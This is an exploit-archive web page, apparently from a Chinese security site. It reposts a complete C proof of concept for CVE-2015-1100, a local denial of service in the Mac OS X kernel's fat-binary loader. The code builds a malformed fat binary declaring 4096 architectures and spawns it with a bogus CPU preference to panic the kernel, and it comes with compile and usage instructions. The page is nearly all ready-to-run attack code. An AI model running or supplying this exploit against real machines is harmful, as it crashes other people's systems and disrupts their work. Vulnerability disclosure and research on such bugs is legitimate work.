首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mac OS X Local Denial Of Service
来源:http://m00nbsd.net 作者:Villard 发布时间:2015-04-20  

/*
 * 2015, Maxime Villard, CVE-2015-1100
 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X
 * Kernel.
 *
 *  $ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c
 *  $ ./Mac-OS-X_Fat-DoS BINARY-NAME
 *
 * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c
 * Analysis:      http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <spawn.h>
#include <unistd.h>
#include <err.h>
#include <mach-o/fat.h>
#include <sys/stat.h>

#define MAXNUM (4096)
#define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM))

void CraftBinary(char *name)
{
 struct fat_header fat_header;
 struct fat_arch *arches;
 size_t i;
 int fd;

 memset(&fat_header, 0, sizeof(fat_header));
 fat_header.magic = FAT_MAGIC;
 fat_header.nfat_arch = 4096;

 if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL)
  err(-1, "calloc");
 for (i = 0; i < MAXNUM0; i++)
  arches[i].cputype = CPU_TYPE_I386;

 if ((fd = open(name, O_CREAT|O_RDWR)) == -1)
  err(-1, "open");
 if (write(fd, &fat_header, sizeof(fat_header)) == -1)
  err(-1, "write");
 if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1)
  err(-1, "write");
 if (fchmod(fd, S_IXUSR) == -1)
  err(-1, "fchmod");
 close(fd);
 free(arches);
}

void SpawnBinary(char *name)
{
 cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 };
 char *argv[] = { "Crazy Horse", NULL };
 char *envp[] = { NULL };
 posix_spawnattr_t attr; 
 size_t set = 0;
 int ret;

 if (posix_spawnattr_init(&attr) == -1)
  err(-1, "posix_spawnattr_init");
 if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1)
  err(-1, "posix_spawnattr_setbinpref_np");
 fprintf(stderr, "----------- Goodbye! -----------\n");
 ret = posix_spawn(NULL, name, NULL, &attr, argv, envp);
 fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret);
}

int main(int argc, char *argv[])
{
 if (argc != 2) {
  printf("Usage: %s BINARY-NAME\n", argv[0]);
 } else {
  CraftBinary(argv[1]);
  SpawnBinary(argv[1]);
 }
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle Hyperion Smart View for
·Lychee 2.7.1 Remote Code Execu
·D-Link/TRENDnet NCC Service Co
·WordPress Work The Flow Upload
·MS Windows (HTTP.sys) HTTP Req
·WordPress Creative Contact For
·Microsoft Window - HTTP.sys Po
·WordPress N-Media Website Cont
·Abrt / Apport Race Condition /
·WordPress Reflex Gallery Uploa
·Fedora abrt Race Condition Exp
·Adobe Flash Player copyPixelsT
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved